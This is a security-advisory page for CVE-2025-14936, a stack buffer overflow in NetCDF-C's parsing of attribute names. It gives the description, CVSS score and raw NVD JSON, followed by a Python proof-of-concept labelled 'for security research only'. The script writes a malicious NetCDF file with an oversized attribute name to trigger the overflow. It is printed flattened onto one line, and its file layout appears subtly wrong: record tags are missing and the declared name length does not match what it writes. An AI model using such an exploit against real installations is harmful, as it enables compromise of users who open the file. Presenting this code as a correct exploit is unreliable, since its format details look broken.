Security Vulnerability Report
中文
CVE-2025-14936 CVSS 7.8 HIGH

CVE-2025-14936

Published: 2025-12-23 21:15:49
Last Modified: 2026-01-13 21:00:28

Description

NSF Unidata NetCDF-C Attribute Name Stack-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of NSF Unidata NetCDF-C. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of attribute names. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-27269.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:unidata:netcdf:-:*:*:*:*:*:*:* - VULNERABLE
NSF Unidata NetCDF-C < 4.9.3
NetCDF-C versions prior to 4.9.3 are affected

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-14936 PoC - NSF Unidata NetCDF-C Attribute Name Buffer Overflow # This PoC generates a malicious NetCDF file with oversized attribute name import struct import os def create_malicious_netcdf(output_file): """ Create a NetCDF file with oversized attribute name to trigger buffer overflow The overflow occurs in attribute name parsing without proper length validation """ # Craft attribute name that exceeds buffer size (typical buffer: 64-128 bytes) # Using 256 bytes to ensure overflow overflow_length = 256 malicious_attr_name = b'A' * overflow_length # NCDF magic number and header structure # NetCDF classic format header magic = b'CDF\x01' # NetCDF classic format # Create root group dimension record num_dims = 1 num_gatts = 0 num_vars = 0 num_attrs = 1 # One attribute to trigger parsing # Dimension size (unlimited dimension = 0) dim_size = 0 # Unlimited dimension # Build header with malicious attribute header = magic header += struct.pack('>I', 0) # Record dimension offset header += struct.pack('>I', num_dims) header += struct.pack('>I', num_gatts) header += struct.pack('>I', num_vars) header += struct.pack('>I', num_attrs) # Dimension info dim_name_size = 8 # '_NDim' header += struct.pack('>I', dim_name_size) header += b'_NDim\x00' + b'\x00' * (dim_name_size - 5) header += struct.pack('>I', dim_size) # Attribute with oversized name to trigger overflow attr_name_size = overflow_length header += struct.pack('>I', attr_name_size) header += malicious_attr_name # Attribute type (NC_CHAR = 1) and count header += struct.pack('>I', 1) # NC_CHAR header += struct.pack('>I', 1) # attr count # Attribute value header += b'test\x00' # Pad to 4-byte alignment padding = (4 - len(header) % 4) % 4 header += b'\x00' * padding # Write malicious file with open(output_file, 'wb') as f: f.write(header) print(f"[+] Created malicious NetCDF file: {output_file}") print(f"[+] Attribute name overflow length: {overflow_length} bytes") print(f"[+] This file can trigger CVE-2025-14936 when opened with vulnerable NetCDF-C") if __name__ == '__main__': import sys output = sys.argv[1] if len(sys.argv) > 1 else 'CVE-2025-14936_poc.nc' create_malicious_netcdf(output)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14936", "sourceIdentifier": "[email protected]", "published": "2025-12-23T21:15:49.190", "lastModified": "2026-01-13T21:00:28.343", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NSF Unidata NetCDF-C Attribute Name Stack-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of NSF Unidata NetCDF-C. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of attribute names. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-27269."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:unidata:netcdf:-:*:*:*:*:*:*:*", "matchCriteriaId": "73B63AB3-3949-4925-8E64-A93551AD441B"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1155/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}